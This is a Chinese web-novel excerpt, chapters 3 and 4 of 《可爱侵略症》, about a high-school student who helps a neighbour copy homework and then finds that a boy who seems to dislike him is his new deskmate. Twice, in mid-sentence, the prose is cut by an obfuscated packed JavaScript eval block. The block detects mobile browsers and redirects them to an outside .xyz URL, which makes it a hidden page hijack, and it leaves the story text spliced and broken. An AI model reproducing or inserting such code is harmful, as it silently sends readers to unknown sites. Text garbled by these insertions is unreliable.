《可爱侵略症》 3. 第 3 章 假期的时间过得飞快,很快到了南中开学考的日子。 闻辞参加大小考试的心态都非常轻松,最后一门交完卷,出考场就把这事儿彻底放下了。 考试结束后他们放一天假,接着才是统一报道的日子。 最后一天假期,闻辞没出门,非常珍惜地窝在家里虚度了大半天的光阴。 傍晚时,门厅处传来敲门声,闻辞起身过去 ,从猫眼儿里看见了站在外面的程文星。 每到寒暑期快收假的时候,闻辞碰上这小子就要犯怵。 他没开门,也没作声,充耳不闻地抬头欣赏自家的天花板。 过了会儿,程文星没等到人来应,只好低眉耷眼地走了。 门后的闻辞松了口气。 到了夜里,他爷爷打了通电话过来,问他有没有好好吃晚饭,还问了开学考和报道的事情。 闻辞是由他爷爷闻容青带大的,目前住的房子就是闻容青二十年前买下来的。 闻容青是几十年前的大学生,在他们那个年代是非常难得的人才,毕业后一直留在学校里做研究,顺带着教了几十年书。原本能一辈子当一个清贫但受尊敬的大学教授,却因为单英哲的缘故,在前年为一份薪水更高的工作离开了学校。 现在一大把年纪了,还要时不时地随着项目团队折腾到外地去。这次是半个月前走的,闻辞都快开学了还没回来。 电话里聊了十几分钟,闻辞报菜名似的把前天到今天的一日三餐说了个遍,聊无可聊之后,终于挂了线。 耳边安静下来没多久,又听见大门口“笃笃”的两声。比起傍晚那阵儿,这次的声音小小的,听着十分可怜。 闻辞看一眼时间,已经十一点了。 他抓了把头发,极其不情愿地在沙发上滚了两圈,才无可奈何地起身去开了门。 门外,程文星抱着几本暑假作业,眼睛红得跟兔子似的。 闻辞:“……” 程文星:“辞哥……” 闻辞:“别叫我哥。” 程文星:“……我真的写不完了。” “你暑假四十五天怎么过的?” 程文星哽咽地说:“前两周的时候,我妈给我报了两个补习班,晚上要写补习班的作业。” “中间十五天呢?” “回爷爷奶奶家没带作业。从爷爷奶奶家回来以后,殊哥就过来了,我爸妈一有空就带着我和殊哥去周边的城市旅游。” 闻辞眉梢一挑,“那最后十五天呢?” “……” 闻辞:“呢?” 程文星狠狠抽了下鼻子,“在偷偷玩。” “………………” 闻辞最终还是一脸胃疼地放这小子进门了。 他到客厅打开灯,给程文星拿了张小板凳,准备回卧室找笔的时候,程文星很周到地说:“辞哥,我给您带笔了。” “……” 闻辞接过笔坐下,跟程文星人手一本作业,开始创造奇迹。 他写了两页突然意识到不对,皱眉问:“你怎么不叫你那个新哥帮你写。” 程文星说:“我不好意思。” 闻辞表示很诧异:“你还会不好意思?” 不好意思地让自己帮忙抄了好几年的假期作业? 程文星:“其实今天早上我看实在写不完了,有去找殊哥帮忙写数学。” 闻辞:“哦,他没答应?” “答应了。但是……”程文星抿抿嘴,“他太认真了。答案就在后面,可殊哥根本就不抄,一道一道帮我写。” “他从早上开始写,中间一直没休息,到刚刚才写完半本。”程文星满脸愧疚,“现在还在帮我写呢,说明天一早给我。他态度好认真,我真的不好意思再麻烦殊哥。” 闻辞:“……” 装的吧……这世上真有从头到尾不抄答案写完暑假作业的人? 他走了会儿神,没过脑子地抄了几页答案,欲言又止地停下笔。再开口时,语气带了点试探的意味:“喂……你那新哥,对我没什么意见吧?” 程文星惊讶地说:“殊哥为什么要对你有意见。” 我哪儿知道,可能我长得不顺他的眼吧。闻辞郁闷地想。 他跟谢殊说过的最后一句话,就是一个月前那句“下次再聊吧”。 事后他复盘了一遍,才意识自己貌似是被嫌弃了…… 人家上天台一见到他就下楼,到家门口不等他把话讲完就把钥匙怼门锁里,就差把“离我远点”几个字明着摆脸上了,自己当时居然还傻了吧唧地没反应过来。 后来偶尔跟对方在楼道里碰见,谢殊只对他礼貌地点个头就擦肩走了,绝不多说一句。闻辞看见他就既尴尬又不爽,更不会上赶着烦人。因此从那以后两人就没再说上话了。 程文星:“我哥人很好的。” 闻辞回了个不咸不淡的“哦”字,想了想问:“……你没跟他说我什么不好吧?” 程文星睁着双睿智的大眼睛,仔细地回忆了半天,摇头道:“没有呀。” 闻辞不疑有他,捏着笔继续低头干活。 这晚熬到后半夜才算完。 闻辞第二天一大清早艰难爬起来去上学,整个脑袋都是浑的。 他背着包,浑浑噩噩地走进二班教室,班上人已经到了一大半。隔了一个假期没见面,大家显得很亢奋,所有人都在闹嗡嗡地扯皮吹水。 闻辞走到最后一排自己的位置上,跟前桌的曹乐安和夏槐打了声招呼,放下书包掏出语文课本,随便翻了篇古诗文搁桌上充当道具。 然后就没精神地往桌上一趴,做好随时见缝插针地闭眼眯盹儿的准备。 不多时人来齐,早读铃响后过去好几分钟,二班的班主任郝月敏居然还没来维持纪律。 曹乐安回过头,一条胳膊搭在闻辞书桌上,奇怪道:“敏姐今天什么情况,搁平时,早读前五分钟就该过来坐镇了,况且今天还是开学头一天……” 闻辞:“新学期新气象,敏姐可能想换个新人设。” 曹乐安被他逗乐了。 又过了一阵子,见班主任没来,二班班长周清晨就带着书走到讲台上,拿腔拿调地清了下嗓子。 刚准备随便找个必背古诗文让全班齐读,突然有个外班的学生进来二班,开口说:“班长去一趟年级办公室。” 周清晨于是扔下书出去了,教室里彻底乱成一锅粥。 今天实在是邪门,直到早读结束的时候,都还不见郝月敏的人影。 曹乐安原本只把闻辞的话当个乐子听,这会儿不得不认真地思考起他们班主任改换新人设的可能性。 第一节课快上的时候,周清晨从年级办公室回来了,手里拿着开学考的成绩单。 教学部的效率很高,昨天学生回家休息,老师却都没放假,加班加点把试卷批阅完,今天成绩跟排名就全出来了。 周清晨没来得及把成绩单贴到前面墙上,下堂课的老师就从前门进来,紧接着上课铃也响了,他只好先回位置坐下。 他同桌近水楼台,有幸成为第二个看见自己分数的。 大家都着急看到自己的排名,有人小声道:“班长,看完往前传一下呗。” 周清晨点头答应,然后跟同桌磨磨蹭蹭地拿着成绩单分析了五分钟。 “……” 全班恨不得用目光活剜了这俩。 成绩单总算是被周清晨递给了前桌,在班里流动起来。 教室后排的曹乐安看见那成绩单传走的方向,差点儿没气吐血。坐后面就这点不好,发什么永远都是最后才能看见。 所幸有个胆子大的拿到成绩单以后,把课桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785539|158011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上的书本垒高了些,偷偷在课堂上摸出手机,飞快地拍了照片,上传到了二班的闲聊群里。 照片拍得草率,还有点糊,不过勉强看得清字。过了半分钟,几个人在群里接龙回了句:【恩人!!】 曹乐安今天正好带了手机来,先点开图片查看,从上往下找到自己的名字,顺着往后一扫,看见比上回掉了好几十位的年级排名,倒抽了一口凉气。 他半死不活地在群里接了个恩人的龙,旋即把手机递给他同桌夏槐,小声说:“看快点儿。” 这堂课的授课老师年过半百,但眼神儿不错,手机随时有被没收的风险。 夏槐很快看完,见发挥稳定,把手机还给了曹乐安。 等那张成绩单在教室里绕了一大圈,再传到曹乐安这里,已经是后半节课了。他拿到手,无语道:“早看完了,给周清晨吧。” 夏槐:“还有闻辞呢。” 曹乐安转过头看了看自己身后。 他后面的人一只手撑着脸,低着脑袋好像在看书。 他又仔细地瞅了瞅,发现这家伙的眼睛闭得很安详,看起来已经走了有一会儿了。 曹乐安没叫醒人,低头扫了一眼闻辞的排名,然后差点儿没把自己气红温了。 这狗逼物理考三十分,这回居然还排自己前面? 他咽下一口老血,转头对夏槐说:“没事,反正平常成绩单贴墙上,也没见他主动看过几回。” 夏槐“哦”了声,趁着老师在黑板上写题解的空挡,把成绩单扔到了隔壁桌,让回传给周清晨。 下课铃一响,教室里多了几个发挥失常黯然神伤的,以及几个考得不错拼命装淡定可嘴角怎么都压不住的。 闻辞听见铃声,眼睛都没睁一下,撑脸的手臂一松,把脸埋进胳膊里换了个舒服点的姿势,继续趴着补觉。 耳边有人在聊成绩,有点吵。 “班长这次居然失手了?级排第二。” “年级第一谁,又被一班哪个孙子拿了?” 南中跟大部分重点中学一样设立尖子班,每个年级前两个班级就是所谓的重点班,学生成绩会更突出一些。 平常大小考的年级前十名,至少八成是一班跟二班的。虽然每年都会有别班的黑马成绩亮眼,可往届的第一名无一例外都被一二班包揽。 周清晨是他们这一级成绩最稳定的一个,上学年拿过好几回年级第一。 几个人叽叽喳喳唠个没完,闻辞抬手捂住耳朵。过了会儿,耳边居然真的安静下来,甚至静得有些不正常。 迷迷糊糊中,只有一道离他很近的女声在讲话:“暂时先坐这儿吧,后续有什么问题再来找我商量。教室后面有空桌椅……” 郝月敏的声音自带一种让人醒神的压迫感,闻辞人虽然还困着,眼睛却强撑着睁开了点。 接着他感觉手肘下的桌子被另一张桌子很轻地碰了一下,并在了一起。 闻辞被惊动,总算舍得把脑袋从胳膊里抬了起来。 “哦哟,睡醒了啊。”郝月敏笑着调侃道,“看你假期玩得太辛苦,我都不忍心叫你。” 教室里顿时一片笑音。 “……” “新学期新气象。”郝月敏对他说,“闻辞,给你安排个新同桌。” 闻辞懵然地看向旁边多出来的一张空桌子,以及刚放下书包的所谓新同桌。 新同桌谢殊也正好垂下眼看他。 对视上的刹那,两人的表情不约而同地凝固了一秒。 “……” “……” 闻辞看着谢殊漆黑明亮的眼睛,发现对方的精神居然看上去挺不错的,全然看不出熬夜过后的疲倦。 在所有复杂迷茫、凌乱懵逼的思绪涌上来之前,一个念头先一步从闻辞脑海中冒了出来:这家伙昨晚绝对抄答案了。 4. 第 4 章 闻辞回过神,错开目光默默坐正身子。 他神态风平浪静,心里呼啸而过数句“我操”。 谢殊的表情也是怔的。 他倏地记起程文星之前似乎提过闻辞在南中的重点班,当时他没怎么在意这句话,现在才意识到后果。 谢殊这次开学考名列第一,毫无悬念地被分进重点班。而南中的重点班每个年级就设两个,他跟闻辞同班的概率其实很大…… 郝月敏对谢殊说:“课表就贴在教室前面,你刚来南中,有什么不熟悉的问你同桌就行。” 闻辞:“。” 郝月敏点了个名:“曹乐安。” 她突然间带了个新同学过来,还是个长得极端正的大帅哥,教室里三十多道目光此时都好奇地落在谢殊身上。曹乐安也在偷眼打量着谢殊,猝不及防被点名,险些闪了脖子。 郝月敏继续道:“谢殊以后就是你们组的了,你是九组组长,这几天多照顾一下。” 曹乐安反应过来小组里要多个新人了,立马充满快乐地点头应是。 郝月敏安顿完之后,上讲台简单讲了几句开学后的纪律问题,留在教室里多呆了会儿看后排的情况。 谢殊落座后整理好书桌,就静静地拿了本书翻看。 郝月敏并不意外。 她早读时没能过来管这帮熊孩子,是为了谢殊转学和分班级的事情在忙活。 不久前她在办公室里跟谢殊谈过话,对方知道自己开学考的成绩后也表现得很平静,不骄不躁,在他这个年纪里心性十分难得,看得出是个安静规矩的性子。 反倒是谢殊旁边的人比较反常。 那小子今天不知道抽哪门子疯,睡醒后一会儿左顾右盼地假装很忙,一会儿又意义不明地托脸看向窗外,反正就是不跟他同桌开口说话。 郝月敏:“……” 这小子平常逼逼叨逼逼叨话多得不行,这会儿来了新同学,倒是装起内向来了? 她不大放心地屈臂环着腰,正忧心着,就见曹乐安拖着椅子转了过去跟谢殊搭话,才略松一口气,转身回了办公室。 “我叫曹乐安,快乐平安的乐安。”曹乐安做了个自我介绍,又用胳膊杵了夏槐一下,“她是夏槐,闹鬼的那个槐树,咱班副班长兼数学课代表。” 夏槐:“……”你家才闹鬼。 她在心里把曹乐安骂了个狗血淋头,侧过身跟谢殊打了个招呼。 谢殊对两人笑了笑。 他生得端正,眉眼间有一种让人很舒服的温雅气质,笑起来时很容易给人以好感。 前桌两人本来还有些踟蹰,纠结该怎么搭话,见状便放松多了。 “班里还分小组吗?”谢殊问道,“郝老师刚才好像有提到‘我们组’。” 曹乐安:“嗷,是这样的,咱班的座位制度有点特殊,是小组制,每四个人一个小组。” 他用手指在半空划了个圈,把自己和夏槐、谢殊、以及正在欣赏窗外风景的闻辞一并圈了进来。 “我们是第九组,二班的最后一个组,你来之前一直是三缺一的状态。” “然后平均每隔一个月,班里会调换一次座位,不过是以小组为单位换的,目的是让坐后面的小组换到前排去,让大家都有到前排的机会。” 谢殊顿了下,“意思是说,组内的座位不换吗?” 曹乐安:“嗯……基本上换座位的时候,小组内部也都会抽签换一下同桌。毕竟小组成员定好就一直固定到高考了,跟同一个人坐久了也会腻。” 谢殊的关注点在后面一句。 小组成员一直固定到高考……就是说,如果组里面有不太喜欢的人,也要跟对方共处两年。 如果换座位时抽签时倒霉点,还会抽到跟对方坐一个月的同桌。 他沉默片刻,向旁边投去一瞥。 闻辞这会儿倒是没再看窗外了,在悄悄打量他。他冷不防地跟谢殊对上目光,尴尬地清了清嗓子,嘴唇动了两下又抿紧。 好像是想说点什么,但又努力给憋回去了。 这天的课上得很水,班上学生都还没从假期模式切换过来,大部分老师上课都是先唠半节课的闲天,最后十分钟要么讲一下开学考的卷子,要么就浅浅进一下新章概念,一堂课就这么过去了。 只有郝月敏没惯着他们。 她带二班的英语,来上课时教材、小蜜蜂、磁带录音机带得非常齐全。 郝月敏的课在下午第二节,上完就是大课间。她不拖堂,时间也掐得很准,下课铃响时正好讲完一段材料,说了声“下课”,又抬头点了谢殊的名字,让他跟自己去办公室领这学期的教材。 二班其他人的教材都在开学考结束 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14785540|158011||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那天领过了,而谢殊因为那时没定好班级,教材晚一些才发下来。 谢殊起身跟着去了英语办公室。 领到书,他走时想到什么,问了句:“老师,班级的座位之后还会调整么?” 郝月敏愣了下,“小组是上学期就定好的,已经实行了一整个学期了……应该不会有什么变动。” 谢殊:“明白了,谢谢老师。” 这种维持了很久的小组关系通常比较稳固,如果想调整也会影响到其他组。谢殊知道调换起来比较麻烦,因此只是随口一问,并没抱什么期待。 “怎么了,在你们组待得不自在?”郝月敏想到某人,皱起眉,“是不是你同桌话太多了?” 谢殊:“都没有。” 准确地说,他同桌今天还没跟他说过话。 郝月敏:“……那怎么?” 谢殊抱起书,说:“没什么事。我视力不大好,所以想换个靠前的位置。” 郝月敏略诧异地看了看谢殊乌黑明亮的瞳孔,怎么瞧都觉得应该是个耳聪目明的。 她倒是没怀疑谢殊在扯谎,道:“咱班调座位的制度很公平,每个人都会有坐在前排或后排的机会。就算现在让你往前坐一点,过段时间还是得轮到后排。看不清黑板的话,周末自己配副眼镜吧。” “嗯。” 谢殊走后,郝月敏低头忙了几分钟,突然发现不小心把扩音器落在了教室。 她的小蜜蜂是无线式的,话筒跟扩音器分开。她嫌弃扩音器离得近吵耳朵,通常是放在教室后面的空桌子上,走时就没能想起来。 正考虑待会儿回教室里去,有人帮她送过来了。 闻辞手里拎了个扩音器进来,把东西放到郝月敏办公桌上。 郝月敏笑道:“谢谢,辛苦跑一趟。” 闻辞转身往外走,走出几步又想起什么,停下来,重新退回到郝月敏工位旁。 郝月敏:“?” “敏姐。”闻辞不留神叫了绰号。 郝月敏严肃地咳了一声。 闻辞心不在焉地改口:“敏老师。” 郝月敏:“……” “什么事?” “也没什么。”他顿了下,“我就问问,咱班的座位以后还调吗?” 郝月敏:“……” 你又是什么情况?